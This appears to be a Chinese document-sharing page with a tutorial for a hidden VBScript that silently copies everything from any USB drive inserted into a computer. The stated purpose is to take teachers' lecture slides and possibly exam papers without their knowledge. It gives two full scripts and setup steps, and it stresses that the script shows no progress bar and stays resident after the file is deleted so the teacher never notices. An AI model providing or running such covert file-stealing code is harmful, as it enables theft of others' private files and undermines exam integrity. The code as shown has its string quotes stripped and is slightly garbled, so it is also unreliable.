2014如何让盘插入自动复制.docVIP

如何让U盘插入自动复制——有效对付那些不肯给PPT的老师U盘插入自动复制，有效对付那些不肯给PPT的老师，还有一定几率拿到期末考试卷子···有图有真相！业界良心的好东西！！现在看还来得及！！！代码优化了一下，把不是很重要的都删掉了，这次使用时看不出任何现象，同样复制U盘里的东西的时候不会出现进度条，完全后台运行。同样的建立一个文本文档，WIN+R 里面打NOTEPAD ，或者自己新建一个都一样?把下面的代码复制进去set fso=createobject(scripting.filesystemobject)set ws=createobject(wscript.shell)on error resume nextdowscript.sleep 1000if fso.driveexists(U盘的盘符) thenfso.copyfile U盘的盘符加*号,要复制到的目录fso.copyfolder U盘的盘符加*号,要复制到的目录wscript.sleep 20000end ifloop?注意标颜色的地方要自己改蓝色的就是要复制到的目录，比如要复制到C盘USB文件夹里，则用C:\USB\代替蓝色部分，注意大小写，同时必须确保USB这个文件 夹存在。红色的是U盘的盘符，比如新插进去的U盘是E盘，则用e:\*代替红色部分，F盘就是f:\*，第一个U盘的盘符，这个不要*号， 后2个切记不要漏掉*这个符号。?复制好也改好后保存文件就OK了，然后改一下这个文件的名字，最好使用英文的，然后后缀改成.VBS，原来是.TXT的，如果后缀没哟显示，则先打开我的电脑，在菜单栏里找到，工具——文件夹选项，在查看标签里，有一个隐藏已知文件类型的扩展名，把勾勾去掉就会显示出来后缀了。??后缀改好以后， 运行这个文件，就OK了。同时你可以把这个文件删除掉，它已经驻留内存了，重启以后这个东西就不会再出现了，老师绝对发现不了要停止这个东西，在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。另外我不是计算机专业的，这个东西目前对插N个U盘只会复制第一个，对插移动硬盘会全部复制···更新：现在没空弄这个，有些人弄不来 我现在更新了一下代码，复制下面的所有东西到一个文本文件，改名为XX.VBS 使用即可set fso=createobject(scripting.filesystemobject) set ws=createobject(wscript.shell) dim USB, file, folder, files USB=inputbox(请输入U盘的盘符Chr(10)如插入的U盘为F盘，则输入F,插入的U盘盘符,F) folder=inputbox(请输入复制到的文件夹Chr(10)如想复制到D盘，请输入D:\,请输入复制到的文件夹,C:\USB) files=inputbox(请输入要复制的文件类型Chr(10)如要复制EXCEL文件，输入xls；默认为全部类型,请输入要复制的文件类型,ALL) USB=USB :\ folder=folder \ if files=ALLthen file=USB * else file=USB *. files end if if FSO.FolderExists(folder) then else FSO.CreateFolder(folder) end if on error resume next do wscript.sleep 1000 if fso.driveexists(USB) then fso.copyfile file,folder fso.copyfolder file,folder wscript.sleep 20000 end if loop这样就完成了。声明：非原创，不过本人上学的时候用过这个小聪明。“偷来的”ppt，都是老师辛苦的结晶，大家如果成功了，也记住不要将人家的东西外传，自用就好。用于商业用途，本人不负转载责任。